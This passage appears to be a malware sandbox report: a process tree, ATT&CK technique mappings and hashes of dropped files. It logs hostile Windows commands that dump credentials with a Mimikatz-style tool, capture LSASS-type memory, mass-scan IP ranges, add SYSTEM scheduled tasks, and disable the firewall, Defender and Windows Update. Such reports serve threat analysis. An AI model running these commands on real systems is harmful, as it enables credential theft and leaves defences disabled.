      Suspicious use of WriteProcessMemory
      PID:3928
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3440
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:2124
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1360
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  PID:3576
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    PID:3688
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:1280
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5000
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:784
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:1860
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\utbcclcbi\kgwtlrdzw\bilutlrif.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\utbcclcbi\kgwtlrdzw\Scant.txt
  2⤵
  - System Location Discovery: System Language Discovery
  PID:732
- - C:\Windows\utbcclcbi\kgwtlrdzw\bilutlrif.exe
    C:\Windows\utbcclcbi\kgwtlrdzw\bilutlrif.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\utbcclcbi\kgwtlrdzw\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:2480
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\utbcclcbi\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\utbcclcbi\Corporate\log.txt
  2⤵
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:1440
- - C:\Windows\utbcclcbi\Corporate\vfshost.exe
    C:\Windows\utbcclcbi\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1088
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ytkutiuha" /ru system /tr "cmd /c C:\Windows\ime\gaettyt.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3260
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:452
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "ytkutiuha" /ru system /tr "cmd /c C:\Windows\ime\gaettyt.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:1624
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "augdqptyd" /ru system /tr "cmd /c echo Y|cacls C:\Windows\qpkiztfb\gaettyt.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4496
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:4788
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "augdqptyd" /ru system /tr "cmd /c echo Y|cacls C:\Windows\qpkiztfb\gaettyt.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4524
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "magaujzua" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\bgegeutip\ceuhqk.exe /p everyone:F"
  2⤵
  PID:908
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3464
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "magaujzua" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\bgegeutip\ceuhqk.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:380
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1364
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2772
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2416
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4988
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3984
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2220
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4228
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2056
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2736
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1988
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3548
- C:\Windows\TEMP\utbcclcbi\spitymcii.exe
  C:\Windows\TEMP\utbcclcbi\spitymcii.exe -accepteula -mp 760 C:\Windows\TEMP\utbcclcbi\760.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1308
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1036
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  - System Location Discovery: System Language Discovery
  PID:732
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4256
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:4804
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4816
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:5056
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  - System Location Discovery: System Language Discovery
  PID:220
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:4740
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  PID:1292
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    PID:1072
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:2276
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2332
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    PID:1680
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      System Location Discovery: System Language Discovery
      PID:3084
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  PID:1936
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1016
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      PID:2392
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  PID:5080
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4276
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
  2⤵
  PID:824
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3604
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1492
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4824
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4752
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    PID:3092
- C:\Windows\TEMP\xohudmc.exe
  C:\Windows\TEMP\xohudmc.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:4612
- C:\Windows\TEMP\utbcclcbi\spitymcii.exe
  C:\Windows\TEMP\utbcclcbi\spitymcii.exe -accepteula -mp 64 C:\Windows\TEMP\utbcclcbi\64.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4712
- C:\Windows\TEMP\utbcclcbi\spitymcii.exe
  C:\Windows\TEMP\utbcclcbi\spitymcii.exe -accepteula -mp 1004 C:\Windows\TEMP\utbcclcbi\1004.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4952
- C:\Windows\TEMP\utbcclcbi\spitymcii.exe
  C:\Windows\TEMP\utbcclcbi\spitymcii.exe -accepteula -mp 2484 C:\Windows\TEMP\utbcclcbi\2484.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:312
- C:\Windows\TEMP\utbcclcbi\spitymcii.exe
  C:\Windows\TEMP\utbcclcbi\spitymcii.exe -accepteula -mp 2892 C:\Windows\TEMP\utbcclcbi\2892.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4428
- C:\Windows\TEMP\utbcclcbi\spitymcii.exe
  C:\Windows\TEMP\utbcclcbi\spitymcii.exe -accepteula -mp 3008 C:\Windows\TEMP\utbcclcbi\3008.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1700
- C:\Windows\TEMP\utbcclcbi\spitymcii.exe
  C:\Windows\TEMP\utbcclcbi\spitymcii.exe -accepteula -mp 2840 C:\Windows\TEMP\utbcclcbi\2840.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4308
- C:\Windows\TEMP\utbcclcbi\spitymcii.exe
  C:\Windows\TEMP\utbcclcbi\spitymcii.exe -accepteula -mp 3720 C:\Windows\TEMP\utbcclcbi\3720.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2640
- C:\Windows\TEMP\utbcclcbi\spitymcii.exe
  C:\Windows\TEMP\utbcclcbi\spitymcii.exe -accepteula -mp 3816 C:\Windows\TEMP\utbcclcbi\3816.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3892
- C:\Windows\TEMP\utbcclcbi\spitymcii.exe
  C:\Windows\TEMP\utbcclcbi\spitymcii.exe -accepteula -mp 3876 C:\Windows\TEMP\utbcclcbi\3876.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4788
- C:\Windows\TEMP\utbcclcbi\spitymcii.exe
  C:\Windows\TEMP\utbcclcbi\spitymcii.exe -accepteula -mp 3956 C:\Windows\TEMP\utbcclcbi\3956.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2504
- C:\Windows\TEMP\utbcclcbi\spitymcii.exe
  C:\Windows\TEMP\utbcclcbi\spitymcii.exe -accepteula -mp 2236 C:\Windows\TEMP\utbcclcbi\2236.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:5100
- C:\Windows\TEMP\utbcclcbi\spitymcii.exe
  C:\Windows\TEMP\utbcclcbi\spitymcii.exe -accepteula -mp 3888 C:\Windows\TEMP\utbcclcbi\3888.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1444
- C:\Windows\TEMP\utbcclcbi\spitymcii.exe
  C:\Windows\TEMP\utbcclcbi\spitymcii.exe -accepteula -mp 2920 C:\Windows\TEMP\utbcclcbi\2920.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1500
- C:\Windows\TEMP\utbcclcbi\spitymcii.exe
  C:\Windows\TEMP\utbcclcbi\spitymcii.exe -accepteula -mp 3372 C:\Windows\TEMP\utbcclcbi\3372.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3424
- C:\Windows\TEMP\utbcclcbi\spitymcii.exe
  C:\Windows\TEMP\utbcclcbi\spitymcii.exe -accepteula -mp 1300 C:\Windows\TEMP\utbcclcbi\1300.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2200
- C:\Windows\TEMP\utbcclcbi\spitymcii.exe
  C:\Windows\TEMP\utbcclcbi\spitymcii.exe -accepteula -mp 1256 C:\Windows\TEMP\utbcclcbi\1256.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3948
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\utbcclcbi\kgwtlrdzw\scan.bat
  2⤵
  PID:616
- - C:\Windows\utbcclcbi\kgwtlrdzw\lutllwily.exe
    lutllwily.exe TCP 181.215.0.1 181.215.255.255 7001 512 /save
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:940

C:\Windows\SysWOW64\umueiy.exe
C:\Windows\SysWOW64\umueiy.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:4320

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\qpkiztfb\gaettyt.exe /p everyone:F
1⤵
PID:380
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:2228
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\qpkiztfb\gaettyt.exe /p everyone:F
  2⤵
  PID:2788

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\gaettyt.exe
1⤵
PID:3260
- C:\Windows\ime\gaettyt.exe
  C:\Windows\ime\gaettyt.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:2796

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\bgegeutip\ceuhqk.exe /p everyone:F
1⤵
PID:3468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:3896
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\bgegeutip\ceuhqk.exe /p everyone:F
  2⤵
  PID:1072

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\SysWOW64\Packet.dll

Filesize
95KB

MD5
86316be34481c1ed5b792169312673fd

SHA1
6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

SHA256
49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

SHA512
3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
275KB

MD5
4633b298d57014627831ccac89a2c50b

SHA1
e5f449766722c5c25fa02b065d22a854b6a32a5b

SHA256
b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

SHA512
29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

Download Submit
C:\Windows\TEMP\bgegeutip\config.json

Filesize
693B

MD5
f2d396833af4aea7b9afde89593ca56e

SHA1
08d8f699040d3ca94e9d46fc400e3feb4a18b96b

SHA256
d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

SHA512
2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

Download Submit
C:\Windows\TEMP\utbcclcbi\1004.dmp

Filesize
4.1MB

MD5
4a4a733279e6190fef5db07ad650e222

SHA1
79b03d5891fb82692613ec9b9537ab3ed588a380

SHA256
6f09cb3158fd952454ff29fe42083e3adac6a43194fc1fbf4fe90b3b873c1c78

SHA512
6908922189f2f574ab3f7a443e6dd936b7885faf2e4b90079864ed80f2bc42d672b105ae05bebbb06c9ce72edf0752d5424bbf095e1378f699b46fb1b5a1b252

Download Submit
C:\Windows\TEMP\utbcclcbi\2236.dmp

Filesize
1.2MB

MD5
14ecffaf328efaca169ce60e9591f630

SHA1
1ebb98eccd69dd0a0e9b754587c1c94e5092dc42

SHA256
a2e9fe736cd3922221a100de2f498e3181e4ee46cc664f87f73d6132ba6218c9

SHA512
e60613b7311097c4c5f325204bd2f33ff8a2098fc61a5558c10b48a04e191a4deb241a554b7330bc094778c5a9f49e6f159dea4747aaa35969d6a518fed409e0

Download Submit
C:\Windows\TEMP\utbcclcbi\2484.dmp

Filesize
7.5MB

MD5
67c62b9b1ff30f00e1a15cfd767cba36

SHA1
c24e72e3aa8137d3b2a86faa1d6572cdab773e32

SHA256
df29fb3b90d232a611ed9301aa66a6cb65b880b3089b331fe5e094202156dac4

SHA512
2ec75646fd1531801689eaa047f1623702c4116603aa5d478689d23bedc17060c901c0a73ead768756c2c4e59f5b48eab1a3fcedf89a503957962dcb5b82a3ed

Download Submit
C:\Windows\TEMP\utbcclcbi\2840.dmp

Filesize
814KB

MD5
a4a50842a7096b8b6579c0a92a78767e

SHA1
34e0288e8a5bb8a583ca0e66caf75e6be6f990ad

SHA256
c11f644715d7ff0b1d182a828e2eeb0df8aad4fe2b664b3899de649a0b553e44

SHA512
36532cc4d6ea2583d9dc987e58137437cdb234c9d4f4a33ae5a18894ad2cc0460c0dd6462f90eca047470b202d6a7e6b35b4810b5d5f6869002b0c3e684a150d

Download Submit
C:\Windows\TEMP\utbcclcbi\2892.dmp

Filesize
4.0MB

MD5
f40d06ff14193d94b609220f507f0715

SHA1
a20a8778aabc1710ce1ae357265bce4eaa8728b6

SHA256
0cb93bf08bdd45158405b6496b86397b5475d6a225af2137b400df6afe29993a

SHA512
2f785ee86039af6844fff1599a6bffdcef9351bddff93aa4904098aa826aedac815f8845f1323003f658912fa2b93e0b9843355a1579506556b942d8e23da7fd

Download Submit
C:\Windows\TEMP\utbcclcbi\2920.dmp

Filesize
8.4MB

MD5
67708419870d71b9dad65eff473fd116

SHA1
022169908dda1bd6798aa59ac8ceaa80a87c22ff

SHA256
3c04ece42b55dee769aa63d42b32b3f4bc215f58473df3b86e67bae979026a7b

SHA512
805d1525f8ef3cdb2b75b184445ff6ccf6f0a4d3cdcdb3cde0e1fbc72e41fecd0a1c975c4585663c7e0e043965c8b2cafa469f772ed6ff4336b8ec1f4b074df5

Download Submit
C:\Windows\TEMP\utbcclcbi\3008.dmp

Filesize
2.9MB

MD5
598c90319e6f6f3417fe428e37118d7c

SHA1
b153271156d57e1260b0421086af5667f1ccf597

SHA256
8d0e1c03ed6c1056838302d25cb9f2c460e239e4cd2c15a7ae516db33b4c017e

SHA512
15bc22f250ab500c7799ba09033a080c0b1594af9f111d3c0dbacdfdab32fe482ab1b57b43fcbaacb7e3e3dd56b5afd4a953f389729c06ef9f46bb1698e327ce

Download Submit
C:\Windows\TEMP\utbcclcbi\3720.dmp

Filesize
2.5MB

MD5
3f4b2fafc8ab8897dfcfebea486776a2

SHA1
5b9b647f8f3c471f0ed04e57679f1b61326c11e2

SHA256
efe482888fb09c04267178f07f17cc3812cedae7f9a5f56b60deb3605ca791f4

SHA512
c6e9606b09a6fbfa595b9b9be653b6933c5dcf23cbb10126940c4e225532b85e9f0463c58e51f35c3faef4e2e20cdf0c1d7a7330ea9c4e8b798277520b45921d

Download Submit
C:\Windows\TEMP\utbcclcbi\3816.dmp

Filesize
20.6MB

MD5
5835f65ccb7e1c2b883dfc057744170d

SHA1
3adda3f86c2d4100ee65a7af7e618fdd29d1aa63

SHA256
14e5dd0d0204a4425ed5556dc6abc950e6cdb1c2413e52d858df9d85e5f90aa2

SHA512
073cb294be683e81fd9a150f70a2bc20d8e067af869a7c0b8651cd965306986d0f0c9cff418b9af5efd3b756cd751e03cfd9363aeb34aed817bbd304e44de0b7

Download Submit
C:\Windows\TEMP\utbcclcbi\3876.dmp

Filesize
4.1MB

MD5
f5adddf661fe0dd89254c2b23d71d55b

SHA1
4ce148e92a6d27d8ac56642bcc03b91eb4640e37

SHA256
40e344ff31072f717cd0b50a099505594df94371ed509d888354a5fea96cc0fe

SHA512
76b0cb146b6e1025068de3610dd84f4082c19bb00861f1d4b39b0848eff4d9db97f5284d2e32876e4ebd9c791f7aa23a2f5f67aa32467a6d3ec32653d612c568

Download Submit
C:\Windows\TEMP\utbcclcbi\3888.dmp

Filesize
27.0MB

MD5
1ee0a6ae1b1da7488fe3eab4a2472f5f

SHA1
10adf9792073e87ca31b8baec458f10b09972c18

SHA256
303c583363cd8ada1ee3aa8819eb17e54ebad7fe5103897860c04158fe36740c

SHA512
4725e3517c72c823d49e840985bfc5ce81093473eb509bc53c33d2d61b3bda3328bb7f978edcdf78f128085316cf31b1b4bcac9b7a8b418c15096aa3577a503a

Download Submit
C:\Windows\TEMP\utbcclcbi\3956.dmp

Filesize
44.0MB

MD5
50b909c09d27cf242d784450e1e0452d

SHA1
83ef0e1e066a267e5c4b5a673ca889f801145fad

SHA256
5b03e8aa9f4897825c8c876249a62d678d25a814108c957bbf61bec85f9c62cd

SHA512
f79c55f338330fbbf0eb46c43474ea9ebff67442bb20fada23b62fe1298d2ca05efc9584a75843a0e6ef1c1c218d8fff2fb230f54dc5830ca993594bd20b0b53

Download Submit
C:\Windows\TEMP\utbcclcbi\64.dmp

Filesize
33.4MB

MD5
db165c5dd7b6bbb6f76d987e2842937d

SHA1
ce7a10d0d661243cb22ddeb452ecc69ddea877d2

SHA256
8e720ae2363269c4dbe48b9b7b18132304513b93582894a73d32c801770fc455

SHA512
dddbeb7a5dc3ecb31d63369cc25e3db58cb0234763f1e59b3edaaf9c46ada860033267c408ab75344e008494bf8788ff53677f0b6de5d19a1b101b50b5958774

Download Submit
C:\Windows\TEMP\utbcclcbi\760.dmp

Filesize
1019KB

MD5
d34786f9cd81a9ad0c87973f7d2d8867

SHA1
a07290ccb9cb3478a6093f0002e84b3f1c6220ea

SHA256
47472da89b774cbafe029ab26e7fd5ab1ffa0f59d13bbefae1b77ae641b9fc09

SHA512
c984d473c356dcdb46e38eed9847fa1039239855ba35ef853c5734c46dbf986a8927cb090cf7efbfa4bff99e943447d1770578c9e37d2e92d502a54831d53d6e

Download Submit
C:\Windows\Temp\bgegeutip\ceuhqk.exe

Filesize
343KB

MD5
2b4ac7b362261cb3f6f9583751708064

SHA1
b93693b19ebc99da8a007fed1a45c01c5071fb7f

SHA256
a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

SHA512
c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

Download Submit
C:\Windows\Temp\nsq6B4.tmp\System.dll

Filesize
11KB

MD5
2ae993a2ffec0c137eb51c8832691bcb

SHA1
98e0b37b7c14890f8a599f35678af5e9435906e1

SHA256
681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

SHA512
2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

Download Submit
C:\Windows\Temp\nsq6B4.tmp\nsExec.dll

Filesize
6KB

MD5
b648c78981c02c434d6a04d4422a6198

SHA1
74d99eed1eae76c7f43454c01cdb7030e5772fc2

SHA256
3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

SHA512
219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

Download Submit
C:\Windows\Temp\utbcclcbi\spitymcii.exe

Filesize
126KB

MD5
e8d45731654929413d79b3818d6a5011

SHA1
23579d9ca707d9e00eb62fa501e0a8016db63c7e

SHA256
a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af

SHA512
df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6

Download Submit
C:\Windows\Temp\xohudmc.exe

Filesize
72KB

MD5
cbefa7108d0cf4186cdf3a82d6db80cd

SHA1
73aeaf73ddd694f99ccbcff13bd788bb77f223db

SHA256
7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9

SHA512
b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1

Download Submit
C:\Windows\qpkiztfb\gaettyt.exe

Filesize
9.2MB

MD5
4233907316647347cae243f61b02f0d8

SHA1
a29e653de5a1bd959119316ce41633127e3d85bb

SHA256
